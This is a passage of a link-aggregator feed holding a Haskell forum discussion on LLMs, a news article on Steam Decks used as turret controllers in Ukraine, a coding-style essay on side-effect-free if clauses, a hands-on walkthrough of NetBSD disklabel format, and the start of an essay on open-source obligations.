itemprop=&#34;position&#34;&gt;11&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;aside class=&#34;quote no-group&#34; data-username=&#34;Kleidukos&#34; data-post=&#34;9&#34; data-topic=&#34;14705&#34;&gt; &lt;div class=&#34;title&#34;&gt; &lt;div class=&#34;quote-controls&#34;&gt;&lt;/div&gt; &lt;img alt=&#34;&#34; width=&#34;24&#34; height=&#34;24&#34; src=&#34;https://sea2.discourse-cdn.com/flex002/user\_avatar/discourse.haskell.org/kleidukos/48/1213\_2.png&#34; class=&#34;avatar&#34;&gt; Kleidukos:&lt;/div&gt; &lt;blockquote&gt; &lt;p&gt;How would you rate your experience in using LLMs with tasks such as &lt;a href=&#34;https://github.com/haskell/core-libraries-committee/issues/411&#34;&gt;package maintenance&lt;/a&gt;?&lt;/p&gt; &lt;/blockquote&gt; &lt;/aside&gt; &lt;p&gt;I can’t speak for Tom, but my experience with using LLMs in the domain of “primitives” and “odd API” (such as windows and powershell) is underwhelming. But I only have used them for &lt;em&gt;search&lt;/em&gt;. E.g. they don’t understand powershell very well and getting things like process invocation right is something that requires meticulous research or extensive trial and error. LLMs often converge to common workarounds rather than best possible solution. And that’s probably not a place you want to be in when you maintain a core library.&lt;/p&gt; &lt;p&gt;They also tend to take away from that feeling of being insecure about decisions… e.g. when you have an intuition that you don’t understand all the implications. Getting superficial confidence from an LLM prompt in that case can have negative consequences.&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;1&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;1 Like&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_12&#39; itemprop=&#34;comment&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Comment&#34; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/Deep&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;Deep&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/Deep&#39;&gt; &lt;/span&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time itemprop=&#34;datePublished&#34; datetime=&#39;2026-09-25T11:13:09Z&#39; class=&#39;post-time&#39;&gt; September 25, 2026, 11:13am &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-25T11:13:09Z&#39;&gt; &lt;span itemprop=&#34;position&#34;&gt;12&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;p&gt;Thanks for this. I’ve been more or less following similar method (depending upon how boring and/or close-to-deadline the task is). One more technic I use, which I think is very helpful to remain aware about wth is going on repo and keeping my joy is I sometimes write module and function interfaces (without implementation). This helps me a lot, I can then let ai implement some of it. This is faster than explaining the exact code I want and helps me understand hidden relations, discover better abstractions, and structure the project better. I’ve found that even modestly small model can then implement it while I get to keep my joy of designing clever abstractions (and sometimes implementation is small enough and you can even write it yourself). I also don’t have to slur angrily at model about it not designing the structure I want.&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;2&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;2 Likes&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_13&#39; itemprop=&#34;comment&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Comment&#34; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/grasshopper&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;grasshopper&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/grasshopper&#39;&gt; &lt;/span&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time itemprop=&#34;datePublished&#34; datetime=&#39;2026-09-25T15:26:00Z&#39; class=&#39;post-time&#39;&gt; September 25, 2026, 3:26pm &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-25T15:26:00Z&#39;&gt; &lt;span itemprop=&#34;position&#34;&gt;13&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;aside class=&#34;quote no-group&#34; data-username=&#34;turion&#34; data-post=&#34;1&#34; data-topic=&#34;14705&#34;&gt; &lt;div class=&#34;title&#34;&gt; &lt;div class=&#34;quote-controls&#34;&gt;&lt;/div&gt; &lt;img alt=&#34;&#34; width=&#34;24&#34; height=&#34;24&#34; src=&#34;https://sea2.discourse-cdn.com/flex002/user\_avatar/discourse.haskell.org/turion/48/989\_2.png&#34; class=&#34;avatar&#34;&gt; turion:&lt;/div&gt; &lt;blockquote&gt; &lt;p&gt;I’ll tell you that it is 100% human written without any AI-assistance.&lt;/p&gt; &lt;/blockquote&gt; &lt;/aside&gt; &lt;p&gt;Thank you for the post and thanks for this short warning. I would love if people would just start cordially mentioning if the text was written with/without AI or with the help of it. More often than not, I find it very exhausting the process of trying to read and comprehend AI generated text.&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;2&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;2 Likes&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- :preload-content --&gt; &lt;/div&gt; &lt;footer class=&#34;container wrap&#34;&gt; &lt;nav class=&#39;crawler-nav&#39;&gt; &lt;ul&gt; &lt;li itemscope itemtype=&#39;http://schema.org/SiteNavigationElement&#39;&gt; &lt;span itemprop=&#39;name&#39;&gt; &lt;a href=&#39;/&#39; itemprop=&#34;url&#34;&gt;Home &lt;/a&gt; &lt;/span&gt; &lt;/li&gt; &lt;li itemscope itemtype=&#39;http://schema.org/SiteNavigationElement&#39;&gt; &lt;span itemprop=&#39;name&#39;&gt; &lt;a href=&#39;/categories&#39; itemprop=&#34;url&#34;&gt;Categories &lt;/a&gt; &lt;/span&gt; &lt;/li&gt; &lt;li itemscope itemtype=&#39;http://schema.org/SiteNavigationElement&#39;&gt; &lt;span itemprop=&#39;name&#39;&gt; &lt;a href=&#39;/guidelines&#39; itemprop=&#34;url&#34;&gt;Guidelines &lt;/a&gt; &lt;/span&gt; &lt;/li&gt; &lt;li itemscope itemtype=&#39;http://schema.org/SiteNavigationElement&#39;&gt; &lt;span itemprop=&#39;name&#39;&gt; &lt;a href=&#39;/tos&#39; itemprop=&#34;url&#34;&gt;Terms of Service &lt;/a&gt; &lt;/span&gt; &lt;/li&gt; &lt;li itemscope itemtype=&#39;http://schema.org/SiteNavigationElement&#39;&gt; &lt;span itemprop=&#39;name&#39;&gt; &lt;a href=&#39;/privacy&#39; itemprop=&#34;url&#34;&gt;Privacy Policy &lt;/a&gt; &lt;/span&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/nav&gt; &lt;p class=&#39;powered-by-link&#39;&gt;Powered by &lt;a href=&#34;https://www.discourse.org&#34;&gt;Discourse&lt;/a&gt;, best viewed with JavaScript enabled&lt;/p&gt; &lt;/footer&gt;</content>
    <link href="https://discourse.haskell.org/t/how-to-keep-enjoying-programming-in-a-world-of-llms/14705" rel="alternate"></link>
    <author>
      <name>eatonphil</name>
    </author>
  </entry>
  <entry>
    <title>Ukraine&#39;s army is experimenting with using Steam Decks to remote-control gun turrets (2023)</title>
    <updated>2026-09-26T15:10:13+09:00</updated>
    <id>lobsters_crvszb</id>
    <content type="html"># Ukraine&#39;s army is experimenting with using Steam Decks to remote-control gun turrets&#xA;&#xA;A video showcases Valve&#39;s hit handheld being used in a very unexpected way.&#xA;&#xA;The Steam Deck is a remarkably powerful piece of hardware, capable of doing all sorts of interesting things. But the Ukrainian military appears to have found one use that I&#39;m pretty sure wasn&#39;t anticipated in any of Valve&#39;s design meetings: As a controller for a remote gun turret.&#xA;&#xA;Photos of the Steam Deck purportedly being used to control a gun turret first turned up in mid-April, shared by TRO Media, but they looked a little suspect: There was nothing to indicate that the Steam Deck in question was being used as part of the weapon, and not just for a spot of Vampire Survivors during a reload.&#xA;&#xA;More recently, though, video from what appears to be the same event has turned up, and a Steam Deck is clearly being used to control the turret.&#xA;&#xA;The purpose of a remotely-controlled turret is obvious: Get a gun on the front line without exposing the people using it to enemy fire. The auto-translated closed captioning in this separate YouTube video (which also shows the Steam Deck in use as a turret controller, but doesn&#39;t have as clear an angle on it) makes that point explicitly: &#34;It removes a person from the line of fire, makes it possible to provide \[fire\] support without being a priority target and causing enemy fire on ourselves.&#34; But why use a Steam Deck for such a thing?&#xA;&#xA;It actually makes a lot of sense, according to Bellingcat researcher Aric Toler, who helped uncover the leak of classified military documents on Discord in April.&#xA;&#xA;&#34;Steam Deck is pretty perfect when you think about it,&#34; Toler told PC Gamer. &#34;Totally native OS client, great controller you can use, touch screen, etc.&#xA;&#xA;&#34;It makes perfect sense for Steam Deck to be used, assuming the software is Linux-compatible (unless they went through the godawful process of dual-booting Windows on a Steam Deck).&#34;&#xA;&#xA;Keep up to date with the most important stories and the best deals, as picked by the PC Gamer team.&#xA;&#xA;There&#39;s a practical upside to using Steam Decks in this application too. $399 for a base model Steam Deck isn&#39;t cheap, but Toler said that control modules on systems like this can be &#34;insanely expensive,&#34; and are also subject to export controls, meaning they can be difficult for officially non-aligned nations to acquire. Steam Deck availability, on the other hand, all comes down to Valve&#39;s manufacturing capacity, and because it&#39;s an all-in-one solution rather than a controller plugged into a separate, discrete system, there are fewer headaches involved all around.&#xA;&#xA;From the video embedded up top, here&#39;s a look at the turret control UI on the Steam Deck:&#xA;&#xA;The turrets, called Shablya—Ukrainian for &#34;saber&#34;—were actually developed some years ago by Ukrainian company Global Dynamics. They&#39;re equipped with thermal imaging and a range finder, and can handle a number of different weapons including machine guns and grenade launchers. In 2015, a crowdfunding campaign run through the Ukrainian military and civil crowdfunding site People&#39;s Project raised ₴445,000 ($12,000) to fund and maintain 10 Shablya turrets for the Ukrainian military.&#xA;&#xA;According to Ukrainian website Vikna.tv, a batch of Shablya turrets was recently deployed with Ukraine&#39;s 68th Jaeger Brigade. The unit recently posted its own video of the turret in use on Facebook.&#xA;&#xA;Ironically, none of the Ukrainian sites that hosted or shared the images made any mention of the presence of a Steam Deck—instead, it was people who saw the videos and recognized the device that brought it to wider attention. Toler speculated that the Ukrainian forces &#34;probably just thought it was a standard control set&#34; and so didn&#39;t make a fuss about it.&#xA;&#xA;Andy has been gaming on PCs from the very beginning, starting as a youngster with text adventures and primitive action games on a cassette-based TRS80. From there he graduated to the glory days of Sierra Online adventures and Microprose sims, ran a local BBS, learned how to build PCs, and developed a longstanding love of RPGs, immersive sims, and shooters. He began writing videogame news in 2007 for The Escapist and somehow managed to avoid getting fired until 2014, when he joined the storied ranks of PC Gamer. He covers all aspects of the industry, from new game announcements and patch notes to legal disputes, Twitch beefs, esports, and Henry Cavill. Lots of Henry Cavill.</content>
    <link href="https://www.pcgamer.com/ukraines-army-is-experimenting-with-using-steam-decks-to-remote-control-gun-turrets/" rel="alternate"></link>
    <author>
      <name>stilic</name>
    </author>
  </entry>
  <entry>
    <title>Keep if clauses side-effect free</title>
    <updated>2026-09-26T12:45:44+09:00</updated>
    <id>lobsters_buroqq</id>
    <content type="html">Avoid writing `if` clauses that have side effects:&#xA;&#xA; `if (enqueueMessage(message)) {&#xA;    ...&#xA;}&#xA;`&#xA;&#xA;The only function of an `if` statement is to test whether a&#xA;condition is true. It’s not for executing code as a side-effect&#xA;of the test. One problem with using the return value directly,&#xA;as in the above, is that the _meaning_ of the returned value&#xA;is unclear. Does `enqueueMessage()` return true if the message&#xA;was enqueued or true if the queue is full? Make it explicit by&#xA;using a variable:&#xA;&#xA; `boolean success = enqueueMessage(message);&#xA;if (success) {&#xA;    ...&#xA;}&#xA;`&#xA;&#xA;The above code reads more like English: “If we were successful, …”&#xA;Methods that don’t have side-effects are (we hope) named so&#xA;that their return value is clear, such as `isEmpty()`. This&#xA;isn’t only true of boolean-valued methods. This code isn’t&#xA;very clear:&#xA;&#xA; `if (flushQueue() == 0) {&#xA;    ...&#xA;}&#xA;`&#xA;&#xA;whereas this one is:&#xA;&#xA; `int itemsFlushed = flushQueue();&#xA;if (itemsFlushed == 0) {&#xA;    ...&#xA;}&#xA;`&#xA;&#xA;Another drawback of calling methods with side effects in&#xA;`if` statements is that the entire call could be missed&#xA;by a reader skimming the code. Compare the two examples&#xA;with `flushQueue()` above. In the first the reader could&#xA;mistake the call for a query that returns some queue attribute.&#xA;The second more clearly has two parts: in the first an action&#xA;is taken, and in the second a test is performed.&#xA;Consider this code I saw in production:&#xA;&#xA; `if (!categorySeen.add(categoryID)) continue;&#xA;`&#xA;&#xA;I couldn’t figure where in the loop items were being added to the set. I was reading that line as:&#xA;&#xA; `if (!categorySeen.contains(categoryID)) continue;&#xA;`&#xA;&#xA;because I expected the contents of an `if` statement to have no side effects.&#xA;But even when I noticed the `add()` I couldn’t figure out what this did. Can&#xA;you? (According to the Javadoc of `Set` the `add()` method “returns `true` if&#xA;this set did not already contain the specified element”.) And note the extra&#xA;convoluted logic because of the `continue` (see Avoid continue). The rest of&#xA;the code will run if the `categoryID` was _not_ _not_ _not_ already seen: one&#xA;_not_ for the `continue`, one _not_ for the `!`, and one _not_ as part of the&#xA;API’s description. What?! How about:&#xA;&#xA; `boolean isNewCategory = categorySeen.add(categoryID);&#xA;if (isNewCategory) {&#xA;    ...&#xA;}&#xA;`&#xA;&#xA;Here’s a dangerous combination of a method with side effects and abuse of short-circuit evaluation:&#xA;&#xA; `if (queueNeedsFlushing() &amp;&amp; flushQueue() == 0) {&#xA;    ...&#xA;}&#xA;`&#xA;&#xA;The second call is particularly easy to miss. Short-circuit evaluation was intended to protect errors in evaluating a side-effect-free statement, such as:&#xA;&#xA; `if (count &gt; 0 &amp;&amp; total/count &gt;= MIN_AVERAGE) {&#xA;    ...&#xA;}&#xA;`&#xA;&#xA;or:&#xA;&#xA; `if (name != null &amp;&amp; name.endsWith(&#34;.png&#34;)) {&#xA;    ...&#xA;}&#xA;`&#xA;&#xA;Don’t use the mechanism to avoid calling a method with side&#xA;effects. That’s what `if` statements were invented for:&#xA;&#xA; `if (queueNeedsFlushing()) {&#xA;    int itemsFlushed = flushQueue();&#xA;    if (itemsFlushed == 0) {&#xA;        ...&#xA;    }&#xA;}&#xA;`&#xA;&#xA;You’re doing yourself and future readers harm if you think that the terse version above is better than the three-line version here. Three lines is a small price to pay when you’re later having a hard time following the code because you keep missing important calls to methods.</content>
    <link href="https://www.teamten.com/lawrence/programming/keep-if-clauses-side-effect-free.html" rel="alternate"></link>
    <author>
      <name>gavinmorrow</name>
    </author>
  </entry>
  <entry>
    <title>NetBSD Playing with disklabels</title>
    <updated>2026-09-26T11:14:59+09:00</updated>
    <id>lobsters_qknavp</id>
    <content type="html">blog - git - desktop - contact&#xA;&#xA;2026-09-25&#xA;&#xA;Coming from DOS and Linux (and having largely ignored this on my OpenBSD systems -- yeah, shame on me), I&#39;m not very familiar with the BSD disklabels. So let&#39;s have a look.&#xA;&#xA;I&#39;m not entirely certain if all BSDs use the exact same format and as far as I know there are differences among architectures, so let&#39;s be specific here: I&#39;m looking at NetBSD 11 on x86\_64.&#xA;&#xA;I&#39;ll be running everything in a VM, so I can easily swap disks and inspect them.&#xA;&#xA;To avoid conflicts with MBR systems, disklabels are stored at a different location. In my test VM, it can be found at the second sector:&#xA;&#xA;I was primarily interested in the format of this disklabel: What do the individual bytes mean? And where is that specificed/documented?&#xA;&#xA;Table of contents:&#xA;&#xA;This question is easy to answer. Look at `man diskabel` (as you would&#xA;&#34;instinctively&#34; do, because that&#39;s the tool to manipulate those labels),&#xA;there&#39;s `disklabel(5)` in the `SEE ALSO` section: Section 5 describes&#xA;file formats, so that&#39;s what we want to look at ( `man 5 disklabel`).&#xA;&#xA;For most of this post, though, I looked directly at&#xA;`/usr/include/sys/disklabel.h` instead of the manual page.&#xA;&#xA;First things first. The manual page tells you where to find the&#xA;disklabel: `getlabelsector()` and `getlabeloffset()` answer that. So&#xA;let&#39;s write a little C program to see what they return.&#xA;&#xA; `netbsd# cat test.c&#xA;#include &lt;stdio.h&gt;&#xA;#include &lt;util.h&gt;&#xA;int&#xA;main()&#xA;{&#xA;    printf(&#34;getlabelsector() = %d\n&#34;, getlabelsector());&#xA;    printf(&#34;getlabeloffset() = %ld\n&#34;, getlabeloffset());&#xA;    return 0;&#xA;}&#xA;netbsd# cc -Wall -Wextra -o test test.c -lutil&#xA;`&#xA;&#xA;Output:&#xA;&#xA; `netbsd# ./test&#xA;getlabelsector() = 1&#xA;getlabeloffset() = 0&#xA;`&#xA;&#xA;So sector 1 (byte offset 512 in my case) is correct. It&#39;s not just some&#xA;random data in the screenshot above but that _is_ the disklabel.&#xA;&#xA;The disklabel begins with a bunch of &#34;metadata&#34; about the disk, then the actual partition table follows at the end. Let&#39;s look at this metadata first.&#xA;&#xA;A bit hard to illustrate this. Here&#39;s an overview first (open it in a new tab next to this text), and then we&#39;ll go through this one by one:&#xA;&#xA;All of this is _little endian_ on my Intel machine.&#xA;&#xA;Generic disk/drive information:&#xA;&#xA; `5745 5682` `d_magic` `0f00` `d_type` `0x0f` `0000` `d_subtype` `d_type` `6c64...0000` `&#34;ld1&#34;` `d_typename` `4d79...0000` `&#34;My Cool Disk&#34;` `d_packname`&#xA;&#xA;`disklabel.h` contains a table of the possible values for `d_type`.&#xA;&#xA;Geometry/size:&#xA;&#xA; `0002 0000` `d_secsize` `3f00 0000` `d_nsectors` `1000 0000` `d_ntracks` `0401 0000` `d_ncylinders` `f003 0000` `d_secpercyl` `0000 0400` `d_secperunit` `0000` `d_sparespertrack` `0000` `d_sparespercyl` `0000 0000` `d_acylinders`&#xA;&#xA;Hardware parameters and timings, probably very irrelevant on x86\_64:&#xA;&#xA; `100e` `d_rpm` `0100` `d_interleave` `0000` `d_trackskew` `0000` `d_cylskew` `0000 0000` `d_headswitch` `0000 0000` `d_trkseek` `0000 0000` `d_flags` `0000 0000` `d_drivedata` `0000 0000` `d_space`&#xA;&#xA;End of this first part:&#xA;&#xA; `5745 5682` `d_magic2` `c61d` `d_checksum` `0400` `d_npartitions` `0020 0000` `d_bbsize` `0020 0000` `d_sbsize`&#xA;&#xA;These are the values that I determined by manually reading the hex dump&#xA;and comparing it with `struct disklabel` in the header file. As far as I&#xA;can tell, it matches the output of the `diskabel` tool:&#xA;&#xA; `netbsd# disklabel ld1&#xA;# /dev/rld1:&#xA;type: ld&#xA;disk: ld1&#xA;label: My Cool Disk&#xA;flags:&#xA;bytes/sector: 512&#xA;sectors/track: 63&#xA;tracks/cylinder: 16&#xA;sectors/cylinder: 1008&#xA;cylinders: 260&#xA;total sectors: 262144&#xA;rpm: 3600&#xA;interleave: 1&#xA;trackskew: 0&#xA;cylinderskew: 0&#xA;headswitch: 0           # microseconds&#xA;track-to-track seek: 0  # microseconds&#xA;drivedata: 0&#xA;`&#xA;&#xA;A lot of this information feels quite outdated, at least on &#34;modern&#34;&#xA;x86\_64. (But MBR isn&#39;t _much_ better in this regard, with all the CHS&#xA;stuff still going on.) And much of it is indeed unused and just set to&#xA;0.&#xA;&#xA;`d_npartitions` said there are four partitions. Here&#39;s an overview of&#xA;this table, it immediately follows the &#34;metadata&#34; section:&#xA;&#xA;This corresponds to partitions `a`, `b`, `c`, and `d`.&#xA;&#xA;Let&#39;s take a closer look at partition `a`:&#xA;&#xA;The individual fields:&#xA;&#xA; `0000 0400` `p_size` `0000 0000` `p_offset` `0000 0000` `p_fsize` `07` `p_fstype` `0x07` `4.2BSD / ffs` `00` `p_frag` `0000` `p_cpg` `p_sgs`&#xA;&#xA;`disklabel.h` contains a table of the possible values for `p_fstype`.&#xA;&#xA;There&#39;s really only three important bits of information, I think:&#xA;&#xA;Again, my interpretation matches the output of `disklabel`:&#xA;&#xA; `netbsd# disklabel ld1&#xA;...&#xA;4 partitions:&#xA;#        size    offset     fstype [fsize bsize cpg/sgs]&#xA; a:    262144         0     4.2BSD      0     0     0  # (Cyl.      0 -    260*)&#xA; d:    262144         0     unused      0     0        # (Cyl.      0 -    260*)&#xA;`&#xA;&#xA;According to&#xA;this mail by Martin Husemann,&#xA;partition `d` is always there on x86\_64 and describes the entire disk.&#xA;Partition `c` would be the area usable for NetBSD. Why `c` isn&#39;t&#xA;included in the output here, I&#39;m not sure. (Actually, no, I think I know&#xA;why: Size, offset, and type are all zero, so it gets hidden, I guess.&#xA;But why didn&#39;t `disklabel -I` include `c` when I first created the&#xA;disklabel?)&#xA;&#xA;The header file says:&#xA;&#xA; `uint16_t d_checksum;  /* xor of data incl. partitions */&#xA;`&#xA;&#xA;So ... I guess we chunk up all this data into 16-byte pieces and then xor them all together? Let&#39;s try:&#xA;&#xA; `$ dd if=zwei.raw bs=512 count=1 skip=1 status=none |&#xA;    od -An -vt x2 -w2 |&#xA;    gawk &#39;{ v = strtonum(&#34;0x&#34; $1); cksum = xor(cksum, v) } END { printf(&#34;%04x\n&#34;, cksum) }&#39;&#xA;0000&#xA;`&#xA;&#xA;All zeroes. When you think about it: That&#39;s confirmation that everything is correct. :-) The actual checksum is one of those 16-byte chunks, so zero is the correct answer.&#xA;&#xA;Exclude the checksum from the data:&#xA;&#xA; `$ dd if=zwei.raw bs=512 count=1 skip=1 status=none |&#xA;    od -An -vt x2 -w2 |&#xA;    sed 69d |&#xA;    gawk &#39;{ v = strtonum(&#34;0x&#34; $1); cksum = xor(cksum, v) } END { printf(&#34;%04x\n&#34;, cksum) }&#39;&#xA;1dc6&#xA;`&#xA;&#xA;There you go, that matches the little-endian `c61d` that we saw in the&#xA;dump. (Obviously, because ... that&#39;s the line that I excluded ... yeah ... but&#xA;you get the idea.)&#xA;&#xA;I&#39;m not familiar with NetBSD&#39;s code base yet, but I think this might be their code to compute the checksum (at least it does the same thing I did):&#xA;&#xA;Let&#39;s do it the other way around: Given what we know now, open the hex&#xA;editor and define partition `i`, size 1234 sectors, start at sector&#xA;5678, filesystem type ZFS.&#xA;&#xA;Partition `i` is the ninth partition, so its entry should start at byte&#xA;788 on the disk:&#xA;&#xA; `512 + 0x94 + (9 - 1) * 16 = 788&#xA;\_/   \__/   \_____/   |&#xA; |      |       |      \- Each label is 16 bytes in size, see&#xA; |      |       |         disklabel.h.&#xA; |      |       |&#xA; |      |       \- We want to know the *start* of the ninth label.&#xA; |      |&#xA; |      \- Start of first partition entry, see hex dump above.&#xA; |&#xA; \- Start of disklabel on disk.&#xA;`&#xA;&#xA;We&#39;re going to write these fields in the partition table (this is&#xA;already _little endian_):&#xA;&#xA; `p_size` `d204 0000` `p_offset` `2e16 0000` `p_fstype` `21` `disklabel.h`&#xA;&#xA;We also need to update `d_npartitions` to `9`. All the partitions in&#xA;between remain unused.&#xA;&#xA;I&#39;ll be overwriting `d_checksum` with four zeros, so that we can just&#xA;run the `gawk` snippet above to calculate the new checksum. Lo and&#xA;behold, it is: `160f` (little endian).&#xA;&#xA;These are the bytes that I touched:&#xA;&#xA;Let&#39;s boot the VM again and see what we got:&#xA;&#xA; `netbsd# disklabel ld1&#xA;# /dev/rld1:&#xA;type: ld&#xA;disk: ld1&#xA;label: My Cool Disk&#xA;flags:&#xA;bytes/sector: 512&#xA;sectors/track: 63&#xA;tracks/cylinder: 16&#xA;sectors/cylinder: 1008&#xA;cylinders: 260&#xA;total sectors: 262144&#xA;rpm: 3600&#xA;interleave: 1&#xA;trackskew: 0&#xA;cylinderskew: 0&#xA;headswitch: 0           # microseconds&#xA;track-to-track seek: 0  # microseconds&#xA;drivedata: 0&#xA;9 partitions:&#xA;#        size    offset     fstype [fsize bsize cpg/sgs]&#xA; a:    262144         0     4.2BSD      0     0     0  # (Cyl.      0 -    260*)&#xA; d:    262144         0     unused      0     0        # (Cyl.      0 -    260*)&#xA; i:      1234      5678        ZFS                     # (Cyl.      5*-      6*)&#xA;disklabel: partitions a and i overlap&#xA;`&#xA;&#xA;Looks good!&#xA;&#xA;(The partitions obviously overlap, because `a` was already the entire&#xA;disk.)&#xA;&#xA;This was a fun afternoon and I indeed feel more comfortable with&#xA;disklabels now. As usual, I really have to have a _hands-on session_&#xA;like this in order to grow familiar with something.&#xA;&#xA;As you can see, I marked some fields with `(?)`, because their meaning&#xA;isn&#39;t entirely clear to me yet. Maybe more on that some other day (or&#xA;maybe not).</content>
    <link href="https://movq.de/blog/postings/2026-09-25/0/POSTING-en.html" rel="alternate"></link>
    <author>
      <name>jaypatelani</name>
    </author>
  </entry>
  <entry>
    <title>Who Is Open Source About?</title>
    <updated>2026-09-25T19:57:30+09:00</updated>
    <id>lobsters_5gqorv</id>
    <content type="html">Open source is, at least in part, **about _you_**, where “you” refers to the&#xA;user.&#xA;&#xA;## Open Source Is Not About “Open Source Is Not About You”&#xA;&#xA;In other words: Rich Hickey was wrong when he wrote “Open Source Is Not About You” and I’m tired of pretending otherwise.&#xA;&#xA;Of course he’s not _completely_ wrong, or his famous post would not have&#xA;resonated quite so much in the first place. Obnoxious users who demand their&#xA;_personal_ use-cases be immediately addressed by volunteer maintainers for free&#xA;should indeed be viewed as the pariahs that they are. Similarly, corporate&#xA;users who want free support from the community that supplies their&#xA;infrastructure to lower their costs. As should those who&#xA;profit&#xA;from this type of externalization by their own customers.&#xA;&#xA;But the exchange of “open source” (or even “free software”) is not as simple as “I have prepared some software for you, please enjoy it, you have no right to complain”, and maintainers ought to have a precise understanding of the costs and benefits — as well as the ethical implications — of that exchange.&#xA;&#xA;Right now we barely even articulate that the exchange _exists_, let alone that&#xA;it establishes a long-term, subtle, and implicit relationship between&#xA;maintainer and user.&#xA;&#xA;Let’s fix that.&#xA;&#xA;### A Brief Aside about Meta-Ethics&#xA;&#xA;When we talk about “obligations” and “rights”, of “shoulds” and “musts”, we are&#xA;constructing an ethical system. The _purpose_ of such a system is to develop&#xA;social expectations and social consequences. There is not much use in me&#xA;telling you that you are _transcendentally evil_ for failing to follow some&#xA;arbitrary recommendation that I have. But I am implying that I believe there&#xA;should be consequences for your behavior. I am also implying that there&#xA;probably already _are_ some consequences, and they’re just not written down&#xA;anywhere yet.&#xA;&#xA;Therefore, a post like this, where I say that we _should_ view our social&#xA;obligations in a certain way, that is the _beginning_ of a broader social&#xA;conversation. I think there should be some consequences, so I am gesturing&#xA;towards that possibility. Exactly what consequences?&#xA;&#xA;For now, I’m not sure. Let’s figure it out.&#xA;&#xA;## What Are We Doing When We Do An Open Source?&#xA;&#xA;Hickey, and his many acolytes in the years since his fateful post, asserts that the process of “open source” goes like this:&#xA;&#xA;1. Maintainer makes a thing, and makes it available to users as a gift.&#xA;   1. Maintainer may “love working with the team”.&#xA;   2. Maintainer may be “proud of the work we do”.&#xA;2. Users accept the gift, and extract utility from it.&#xA;   1. (Users MUST be grateful for this.)&#xA;3. A tiny fraction of users reciprocally contribute to the thing.&#xA;   1. (Maintainers may be grateful for this.)&#xA;&#xA;He makes various oblique references to the specific activities of his company,&#xA;which does things vaguely related to his projects for money1. These&#xA;activities are exclusively characterized as for “customers”, however, a subset&#xA;of the aforementioned users so tiny (“fewer than 1%”) as to nearly be an&#xA;entirely distinct group.&#xA;&#xA;Breezing past this process in an essay about obnoxious users demanding things they are not entitled to, one might nod along, as this sounds mostly sensible. Giving gifts is nice. I too love working with good teams and taking pride in things.&#xA;&#xA;Examined more closely, however, it starts to logically fall apart. If you have&#xA;consulting clients and that’s where all of your money is coming from, why are&#xA;you _bothering_ (as he repeatedly insists) “doing \[things\] for the community”?&#xA;What was the point of releasing this code in the first place? You could love&#xA;working with your team and be proud of the work that you do in a lot of&#xA;different contexts; why bother implicating this horde of entitled and obnoxious&#xA;people, if that’s all you’re getting out of it? _What’s in it for you?_&#xA;&#xA;If we’ve left out something as fundamental as “why is the maintainer doing&#xA;this”, perhaps this story leaves out some _other_ important bits as well.&#xA;&#xA;## Why Are You Doing This?&#xA;&#xA;There are _many_ possible motivations for releasing and maintaining open source&#xA;software. They are often subtle, often overlapping, and rarely clearly stated.&#xA;Maintainers are not a monolith and not everyone does it for similar reasons.&#xA;But let’s review a few reasons that someone might want to contribute.&#xA;&#xA;### Reputation&#xA;&#xA;One reason that you might want to release some open source software is&#xA;_advertising_. The most common form of this is self-promotion; if you are a&#xA;visible, prominent contributor to an open source project, it stands to reason&#xA;that you will have an easier time finding work in the domain of that project.&#xA;&#xA;If you operate a consultancy, as 